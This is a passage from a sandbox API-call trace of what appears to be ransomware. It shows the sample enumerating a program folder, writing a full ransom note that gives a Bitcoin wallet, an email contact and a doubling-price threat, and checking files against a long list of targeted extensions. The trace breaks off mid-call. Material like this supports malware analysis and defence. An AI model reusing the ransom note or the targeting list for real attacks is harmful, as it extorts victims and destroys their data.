| out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" [0069.593] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN") returned 57 [0069.593] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.594] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.594] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.594] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.594] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.594] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.594] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.594] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.594] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.594] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.595] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*.*") returned="*.*" [0069.595] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\" [0069.595] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\") returned="" [0069.595] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\HOW TO DECRYPT FILES.txt" [0069.595] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\how to decrypt files.txt")) returned 0xffffffff [0069.595] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.595] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.595] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.597] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.597] CloseHandle (hObject=0x94) returned 1 [0069.597] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini" [0069.598] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.ems") returned 0 [0069.598] lstrlenA (lpString="*.ems") returned 5 [0069.598] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.db") returned 0 [0069.598] lstrlenA (lpString="*.db") returned 4 [0069.598] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.dbf") returned 0 [0069.598] lstrlenA (lpString="*.dbf") returned 5 [0069.598] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.myox") returned 0 [0069.598] lstrlenA (lpString="*.myox") returned 6 [0069.598] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.myo") returned 0 [0069.598] lstrlenA (lpString="*.myo") returned 5 [0069.598] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.qbw") returned 0 [0069.598] lstrlenA (lpString="*.qbw") returned 5 [0069.598] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.qbb") returned 0 [0069.598] lstrlenA (lpString="*.qbb") returned 5 [0069.598] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.qbm") returned 0 [0069.598] lstrlenA (lpString="*.qbm") returned 5 [0069.598] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.qbo") returned 0 [0069.598] lstrlenA (lpString="*.qbo") returned 5 [0069.598] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.qbx") returned 0 [0069.599] lstrlenA (lpString="*.qbx") returned 5 [0069.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.qba") returned 0 [0069.599] lstrlenA (lpString="*.qba") returned 5 [0069.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.qby") returned 0 [0069.599] lstrlenA (lpString="*.qby") returned 5 [0069.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.qbj") returned 0 [0069.599] lstrlenA (lpString="*.qbj") returned 5 [0069.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.ofx") returned 0 [0069.599] lstrlenA (lpString="*.ofx") returned 5 [0069.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.qif") returned 0 [0069.599] lstrlenA (lpString="*.qif") returned 5 [0069.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.mye") returned 0 [0069.599] lstrlenA (lpString="*.mye") returned 5 [0069.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.mbox") returned 0 [0069.599] lstrlenA (lpString="*.mbox") returned 6 [0069.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.eml") returned 0 [0069.599] lstrlenA (lpString="*.eml") returned 5 [0069.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.pst") returned 0 [0069.599] lstrlenA (lpString="*.pst") returned 5 [0069.599] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.ost") returned 0 [0069.600] lstrlenA (lpString="*.ost") returned 5 [0069.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.idx") returned 0 [0069.600] lstrlenA (lpString="*.idx") returned 5 [0069.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.dbx") returned 0 [0069.600] lstrlenA (lpString="*.dbx") returned 5 [0069.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.sql") returned 0 [0069.600] lstrlenA (lpString="*.sql") returned 5 [0069.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.mdb") returned 0 [0069.600] lstrlenA (lpString="*.mdb") returned 5 [0069.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.fdb") returned 0 [0069.600] lstrlenA (lpString="*.fdb") returned 5 [0069.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.wab") returned 0 [0069.600] lstrlenA (lpString="*.wab") returned 5 [0069.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.dat") returned 0 [0069.600] lstrlenA (lpString="*.dat") returned 5 [0069.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.txt") returned 0 [0069.600] lstrlenA (lpString="*.txt") returned 5 [0069.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.600] lstrlenA (lpString="*.jpeg") returned 6 [0069.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.jpg") returned 0 [0069.600] lstrlenA (lpString="*.jpg") returned 5 [0069.600] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.png") returned 0 [0069.601] lstrlenA (lpString="*.png") returned 5 [0069.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.php") returned 0 [0069.601] lstrlenA (lpString="*.php") returned 5 [0069.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.cs") returned 0 [0069.601] lstrlenA (lpString="*.cs") returned 4 [0069.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.cpp") returned 0 [0069.601] lstrlenA (lpString="*.cpp") returned 5 [0069.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.rar") returned 0 [0069.601] lstrlenA (lpString="*.rar") returned 5 [0069.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.zip") returned 0 [0069.601] lstrlenA (lpString="*.zip") returned 5 [0069.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.html") returned 0 [0069.601] lstrlenA (lpString="*.html") returned 6 [0069.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.htm") returned 0 [0069.601] lstrlenA (lpString="*.htm") returned 5 [0069.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.601] lstrlenA (lpString="*.xlsx") returned 6 [0069.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.xls") returned 0 [0069.601] lstrlenA (lpString="*.xls") returned 5 [0069.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.mp4") returned 0 [0069.601] lstrlenA (lpString="*.mp4") returned 5 [0069.601] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.ppt") returned 0 [0069.602] lstrlenA (lpString="*.ppt") returned 5 [0069.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.pptx") returned 0 [0069.602] lstrlenA (lpString="*.pptx") returned 6 [0069.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.doc") returned 0 [0069.602] lstrlenA (lpString="*.doc") returned 5 [0069.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.dot") returned 0 [0069.602] lstrlenA (lpString="*.dot") returned 5 [0069.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.docx") returned 0 [0069.602] lstrlenA (lpString="*.docx") returned 6 [0069.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.7z") returned 0 [0069.602] lstrlenA (lpString="*.7z") returned 4 [0069.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.tar") returned 0 [0069.602] lstrlenA (lpString="*.tar") returned 5 [0069.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.bz2") returned 0 [0069.602] lstrlenA (lpString="*.bz2") returned 5 [0069.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.gz") returned 0 [0069.602] lstrlenA (lpString="*.gz") returned 4 [0069.602] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.mkv") returned 0 [0069.602] lstrlenA (lpString="*.mkv") returned 5 [0069.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.eml") returned 0 [0069.603] lstrlenA (lpString="*.eml") returned 5 [0069.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.msg") returned 0 [0069.603] lstrlenA (lpString="*.msg") returned 5 [0069.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.edb") returned 0 [0069.603] lstrlenA (lpString="*.edb") returned 5 [0069.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.accdb") returned 0 [0069.603] lstrlenA (lpString="*.accdb") returned 7 [0069.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.odb") returned 0 [0069.603] lstrlenA (lpString="*.odb") returned 5 [0069.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.java") returned 0 [0069.603] lstrlenA (lpString="*.java") returned 6 [0069.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.asm") returned 0 [0069.603] lstrlenA (lpString="*.asm") returned 5 [0069.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.pfx") returned 0 [0069.603] lstrlenA (lpString="*.pfx") returned 5 [0069.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.pem") returned 0 [0069.603] lstrlenA (lpString="*.pem") returned 5 [0069.603] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.p12") returned 0 [0069.603] lstrlenA (lpString="*.p12") returned 5 [0069.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.gpg") returned 0 [0069.604] lstrlenA (lpString="*.gpg") returned 5 [0069.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.vsd") returned 0 [0069.604] lstrlenA (lpString="*.vsd") returned 5 [0069.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.odg") returned 0 [0069.604] lstrlenA (lpString="*.odg") returned 5 [0069.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.raw") returned 0 [0069.604] lstrlenA (lpString="*.raw") returned 5 [0069.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.nef") returned 0 [0069.604] lstrlenA (lpString="*.nef") returned 5 [0069.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.svg") returned 0 [0069.604] lstrlenA (lpString="*.svg") returned 5 [0069.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.psd") returned 0 [0069.604] lstrlenA (lpString="*.psd") returned 5 [0069.604] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.vmx") returned 0 [0069.604] lstrlenA (lpString="*.vmx") returned 5 [0069.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.605] lstrlenA (lpString="*.vmdk") returned 6 [0069.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.vdi") returned 0 [0069.605] lstrlenA (lpString="*.vdi") returned 5 [0069.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.lay6") returned 0 [0069.605] lstrlenA (lpString="*.lay6") returned 6 [0069.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.605] lstrlenA (lpString="*.mpeg") returned 6 [0069.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.djvu") returned 0 [0069.605] lstrlenA (lpString="*.djvu") returned 6 [0069.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.tiff") returned 0 [0069.605] lstrlenA (lpString="*.tiff") returned 6 [0069.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.backup") returned 0 [0069.605] lstrlenA (lpString="*.backup") returned 8 [0069.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.pdf") returned 0 [0069.605] lstrlenA (lpString="*.pdf") returned 5 [0069.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.cert") returned 0 [0069.605] lstrlenA (lpString="*.cert") returned 6 [0069.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.docm") returned 0 [0069.605] lstrlenA (lpString="*.docm") returned 6 [0069.605] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.606] lstrlenA (lpString="*.xlsm") returned 6 [0069.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.dwg") returned 0 [0069.606] lstrlenA (lpString="*.dwg") returned 5 [0069.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.nd") returned 0 [0069.606] lstrlenA (lpString="*.nd") returned 4 [0069.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.tlg") returned 0 [0069.606] lstrlenA (lpString="*.tlg") returned 5 [0069.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.lgb") returned 0 [0069.606] lstrlenA (lpString="*.lgb") returned 5 [0069.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.mov") returned 0 [0069.606] lstrlenA (lpString="*.mov") returned 5 [0069.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.xdw") returned 0 [0069.606] lstrlenA (lpString="*.xdw") returned 5 [0069.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.ods") returned 0 [0069.606] lstrlenA (lpString="*.ods") returned 5 [0069.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.wav") returned 0 [0069.606] lstrlenA (lpString="*.wav") returned 5 [0069.606] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.mp3") returned 0 [0069.607] lstrlenA (lpString="*.mp3") returned 5 [0069.607] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.aiff") returned 0 [0069.607] lstrlenA (lpString="*.aiff") returned 6 [0069.607] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.flac") returned 0 [0069.607] lstrlenA (lpString="*.flac") returned 6 [0069.607] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.m4a") returned 0 [0069.607] lstrlenA (lpString="*.m4a") returned 5 [0069.607] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", pszSpec="*.csv") returned 0 [0069.607] lstrlenA (lpString="*.csv") returned 5 [0069.607] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.607] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.607] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.607] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.607] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.607] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini") returned="eula.ini" [0069.607] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\" [0069.607] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\") returned="" [0069.608] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", 